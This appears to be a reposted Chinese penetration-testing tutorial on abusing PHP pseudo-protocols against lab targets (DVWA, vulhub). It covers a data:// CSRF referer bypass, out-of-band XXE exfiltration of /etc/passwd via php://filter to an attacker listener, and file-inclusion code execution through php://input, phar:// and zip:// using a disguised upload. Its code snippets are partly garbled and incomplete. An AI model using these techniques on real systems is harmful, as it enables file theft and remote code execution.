php伪协议漏洞_【渗透技巧】PHP伪协议的多种利⽤场景0x00 前⾔
PHP中有很多内置URL风格的伪协议,本⽂以实际案例出发,详细介绍PHP伪协议在渗透测试实战中的多种利⽤场景
0x01 场景1 CSRF
⼀些开发⼈员在防御csrf的攻击时,仅判断referer是否为来源域名,没有考虑referer为空的情况。利⽤data伪协议可以将referer置为空,绕过csrf的防御。
下⾯以dvwa环境中的csrf漏洞举例:
将存在判定referer的表单进⾏BASE64编码,保存 data.html
1. 2. 3. 4. 5.
当我们访问data.html,发现请求dvwa请求中referer为空,并且成功执⾏了csrf攻击,如下图
0x02 场景2 XXE
多数时候我们遇到的xxe都是⽆回显的,当我们想读取⽬标主机上的⽂件时,需要使⽤外带的⽅式,先让⽬标主机请求攻击者的服务器,⽽后再从攻击者的服务器上提取⽬标⽂件的内容。
但是,由于⽂件内容中经常包含空格、换⾏等特殊字符,常没法直接外带成功,使⽤php://filter协议将⽂件内容进⾏base64编码,绕过特殊字符的限制。
下⾯以vulhub中xxe漏洞环境举例
⾸先在攻击者的服务器上创建test.dtd,利⽤php://filter协议将敏感⽂件读取并进⾏base64编码(攻击者服务137)
1. 2. ">
发送payload到⽬标主机
1. 2. 3. %remote;%int;%send; 4. ]>
如下图,攻击者在服务器上监听2333端⼝,成功获得了/etc/passwd⽂件的base64编码。
vulhub0x03 场景3 ⽂本包含
(1)php://input
php://input协议可以将post请求中的数据作为PHP代码执⾏
如下图尝试读取/etc/passwd
(2)phar://
phar://协议(⽤来将多个PHP⽂件打包为⼀个⽂件.可以和tar zip相互转化)可以解压⽂件并将⽂件中内容作为PHP执⾏代码
新建⼀个,其内容为<?php phpinfo();?>
压缩成test.zip,并重命名为test.jpg
将test.jpg上传到⽬标服务器上,再通过url访问即可实现代码执⾏
(phar://绝对路径或相对路径/⼦⽂件名)
1. 19
2.168.2.79/dvwa/vulnerabilities/fi/?page=phar://D:/phpStudy/WWW/dvwa/hackable/uploads/test.jpg/tes
< #绝对路径访问2. 192.168.2.79/dvwa
(3)zip://
与phar协议类似,需要注意的是zip://协议仅⽀持⽂件的绝对路径,同时需要将#编码为%23(zip://绝对路径#⼦⽂件名)
1. 19
2.168.2.79/dvwa/vulnerabilities/fi/?page=zip://D:/phpStudy/WWW/dvwa/hackable/uploads/test.
声明:本⽂原创为实验室成员Coler 免费星球⼴告位
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论